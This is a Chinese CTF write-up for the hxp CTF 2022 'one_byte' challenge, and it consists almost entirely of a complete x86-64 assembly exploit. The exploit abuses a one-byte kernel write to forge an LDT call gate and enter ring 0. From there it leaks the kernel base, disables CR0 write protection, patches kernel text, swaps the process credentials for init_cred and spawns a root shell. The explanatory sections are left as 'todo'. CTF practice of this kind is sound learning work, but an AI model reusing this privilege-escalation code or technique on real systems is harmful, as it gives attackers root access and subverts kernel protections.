通过这题复习了很多知识,包括描述符,调用门特权级转移,长调用,MSR寄存器,gs、cs段选择子,eflags/rflags等,所以总体来说收获很大。
但笔者只记录关键点,很多基础知识需要自己去查阅学习。
参考:hxp | hxp CTF 2022: one_byte writeup
todo
todo
exp 如下:
// gcc -no-pie -nostdlib -Wl,--build-id=none -s exp.S -o exp
#include <sys/syscall.h>
.macro var name:req
.pushsection .data
.balign 8
.local \name
\name:
.endm
.macro endvar name:req
.local end_\name
end_\name:
.eqv sizeof_\name, end_\name - \name
.popsection
.endm
.macro asciz name:req, data:vararg
var \name
.asciz \data
endvar \name
.endm
.macro far_ptr name:req, sel:req, off:req
var \name
.int \off
.short \sel
endvar \name
.endm
.macro exec_syscall sys_num:req
movq \sys_num, %rax
syscall
.endm
.macro fn name:req
.text
.code64
.global \name
\name:
.endm
#define ENTRY_SYSCALL_OFFSET 0xa00010
#define LDT_BASE 0xffff880000000000
#define LDT_OFFSET 0x10000
#define CURRENT_OFFSET 0x1fbc0
#define INIT_TASK_OFFSET 0x1613940
#define INIT_CRED_OFFSET 0x1654480
#define REAL_CRED_OFFSET 0xa78
#define CRED_OFFSET 0xa80
#define EXEC_LPE_CODE_OFFSET 0xb00000
#define MSG_LSTAR 0xC0000082
#define ENTRY_NUMBER 2
#define TARGET_SEL ((ENTRY_NUMBER << 3) | 0b111)
fn call_gate_handler
cli
// leak kbase
xorq %rax, %rax
xorq %rdx, %rdx
movq $MSG_LSTAR, %rcx
rdmsr
shlq $0x20, %rdx
orq %rax, %rdx
sub $ENTRY_SYSCALL_OFFSET, %rdx
movq %rdx, %r15
// disable CR0.WP
movq %cr0, %rax
andq $0xfffffffffffeffff, %rax
movq %rax, %cr0
// copy the LPE_CODE to kernel text space
movq %r15, %rdi
addq $EXEC_LPE_CODE_OFFSET, %rdi
movq %rdi, %r14
leaq LPE_CODE(%rip), %rsi
movq $sizeof_LPE_CODE, %rcx
rep movsb
jmp *%r14
var LPE_CODE
swapgs
// switch PAGE TABLE
movq %cr3, %rax
subq $0x1000, %rax
movq %rax, %cr3
// get init_cred
movq %r15, %rdx
addq $INIT_CRED_OFFSET, %rdx
addl $2, (%rdx)
// switch current.cred and current.real_cred
movq %gs:CURRENT_OFFSET, %rax
movq %rdx, REAL_CRED_OFFSET(%rax)
movq %rdx, CRED_OFFSET(%rax)
// switch PAGE TABLE
movq %cr3, %rax
addq $0x1000, %rax
movq %rax, %cr3
// swapgs
// iretq
// rip
// cs
// flags
// rsp
// ss
popq %r8
popq %r9
pushfq
orq $(1 << 9), (%rsp)
pushq %r9
pushq %r8
swapgs
iretq
endvar LPE_CODE
asciz dev_file, "/dev/one_byte"
asciz shell_path, "/bin/sh"
var shell_argv
.quad shell_path
.quad 0
endvar shell_argv
var user_desc
.int ENTRY_NUMBER
.int 0x10 // base ==> KERNEL_CS = 0x10
.int 0x1000 // limit ==> offset = 0x401000 --> 0x1000 -|
.int 0x1 // flags ==> offset = 0x401000 --> 0x40 -|
endvar user_desc
var temp_desc
.int ENTRY_NUMBER + 2
.int 0x10
.int 0x1000
.int 0x1
endvar temp_desc
var arb_write_msg
.quad LDT_BASE + LDT_OFFSET + (ENTRY_NUMBER << 3) + 5
.byte 0b11101100
endvar arb_write_msg
.macro modify_ldt desc:req
movq $0x11, %rdi
leaq \desc(%rip), %rsi
movq $sizeof_\desc, %rdx
exec_syscall $SYS_modify_ldt
.endm
fn _start
// open dev file
xorq %rdx, %rdx
movq $1, %rsi
leaq dev_file(%rip), %rdi
exec_syscall $SYS_open
movq %rax, %r15
// stac
pushfq
orq $(1 << 18), (%rsp)
popfq
// create ldt
modify_ldt user_desc
modify_ldt temp_desc
// write type to construct call gate
movq %r15, %rdi
leaq arb_write_msg(%rip), %rsi
movq $sizeof_arb_write_msg, %rdx
exec_syscall $SYS_write
// trigger call gate to switch CPL
far_ptr call_gate, TARGET_SEL, 0xDEADBEEF
lcall *(call_gate)
// get root shell
leaq shell_path(%rip), %rdi
leaq shell_argv(%rip), %rsi
xorq %rdx, %rdx
exec_syscall $SYS_execve
效果如下:
?